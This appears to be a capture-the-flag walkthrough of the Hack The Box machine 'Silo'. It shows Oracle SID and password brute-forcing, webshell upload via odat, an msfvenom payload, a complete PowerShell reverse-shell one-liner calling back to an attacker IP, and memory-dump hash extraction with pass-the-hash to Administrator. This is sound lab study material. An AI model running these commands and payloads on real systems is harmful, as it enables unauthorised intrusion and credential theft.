Information Gathering
Rustscan
Rustscan finds several ports open but what stands out is port 1521 running oracle:
Nmap
Oracle version is 11.2.0.2.0 according to Nmap:
Enumeration
SMB - TCP 445
SMB null login is not allowed here:
Crackmapexec finds the device name silo:
HTTP - TCP 80
IIS 8.5 is running on the website:
Directory Bruteforce
Feroxbuster finds nothing useful from directory bruteforcing:
sudo feroxbuster -u http://10.10.10.82 -n -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -C 404
HTTP - TCP 8080
There is HTTP running on port 8080 as well and it requires credentials.
Feroxbuster also finds nothing useful here:
sudo feroxbuster -u http://10.10.10.802:8080/ -n -x php,aspx,asp,conf -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt -C 404
Oracle TNS Listener - TCP 1521
I followed the following guides pentesting port 1521.
SID Enumeration
tnscmd10g seems to be requiring credentials for sign-in
tnscmd10g status-p 1521 -h 10.10.10.82
SID Bruteforce
Let’s first bruteforce SID(Like a DB name) using hydra:
hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 10.10.10.82 oracle-sid
Hydra finds several SID names and we just need one of them to bruteforce user credentials.
Targeting Accounts
I will user metasploit’s oracle_default_userpass.txt to perform user credentials bruteforce on SID XE:
odat passwordguesser -s 10.10.10.82 -d XE --accounts-file /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt
However, it seems like credentials are not passed properly。
I will use awk to have usernames and passwords in separate files:
awk '{print $1 > "oracle_users.txt"; print $2 > "oracle_pass.txt"}' oracle_default_userpass.txt
Now using separate user-list and password list, I can obtain valid credentials: (scott/tiger)
sudo odat passwordguesser -s 10.10.10.82 -d XE --accounts-files /usr/share/metasploit-framework/data/wordlists/oracle_users.txt /usr/share/metasploit-framework/data/wordlists/oracle_pass.txt
Shell as iis apppool
Now using sqlplus, I can access Oracle Database:
sqlplus scott/tiger@10.10.10.82/XE
Using the following command, I can query usernames on DB:
SELECT username FROM all_users WHERE username NOT IN ('SYS', 'SYSTEM');
Abusing Java for RCE fails since Java is not installed on the system:
odat java -s 10.10.10.82 -U scott -P tiger -d XE --exec whoami
I will create reverse shell payload using msfvenom, planning to upload this to Oracle DB and execute it:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=1337 -f exe > rev.exe
However, it seems that user scott for insufficient privilege for this:
odat utlfile -s 10.10.10.82 -U scott -P tiger -d XE --putFile /temp rev.exe ./rev.exe
From some enumeration, I figured out using —sysdba flag will allow me to upload cmdasp.aspx file to the DB:
odat utlfile -s 10.10.10.82 -U scott -P tiger -d XE --putFile C:\\inetpub\\wwwroot shell.aspx /usr/share/webshells/aspx/cmdasp.aspx --sysdba
Now I can execute commands through the web browser:
Using the powershell script below, I can spawn a reerse shell:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.21',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Now I have a reverse shell as the low privilege user.
Privesc to Administrator
There is Oracle issue.txt at user Phineas’s Desktop and it reveals link to the dropbox and password for it: ?%Hm8646uC$
Going to Dropbox download link, I see a form for a link password. Weirdly, password from Oracle issue.txt above won’t work.
From some enumeration, I realized this because spawned shell cannot read special character such as £ and through my webshell earlier, It reveals the actual password:
Using £%Hm8646uC$, I can access zip file inside the dropbox share:
Unzipping the file provides me a dmp file:
Using the command below, I can query information related to the dump file:
sudo python3 vol.py -f ~/Documents/htb/silo/SILO-20180105-221806.dmp windows.info.Info
The Windows operating system maintains its configuration settings, user preferences, and other system-related information in a database called the registry. The registry is organized into hierarchical structures called “hives,” each of which contains keys and values representing various aspects of the system’s configuration.
When you run hivelist in Volatility, it parses the memory dump and provides information about the virtual addresses where each registry hive is loaded into memory. This information is crucial for further analysis because it allows forensic investigators and analysts to access and examine the contents of the registry, such as user profiles, installed software, network settings, and more.
I can list the hivelist with the following command:
sudo python3 vol.py -f ~/Documents/htb/silo/SILO-20180105-221806.dmp hivelist
Using the command below, I can drop password hash for Administrator:
sudo python3 vol.py -f ~/Documents/htb/silo/SILO-20180105-221806.dmp hashdump
Now passing the hash to evil-winrm , I have a shell as Administrator
evil-winrm -i 10.10.10.82 -u Administrator -H 9e730375b7cbcebf74ae46481e07b0c7
References
- https://book.hacktricks.xyz/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener
- https://secybr.com/posts/oracle-pentesting-best-practices/
- https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573
- https://technicalnavigator.in/how-to-extract-information-from-dmp-files/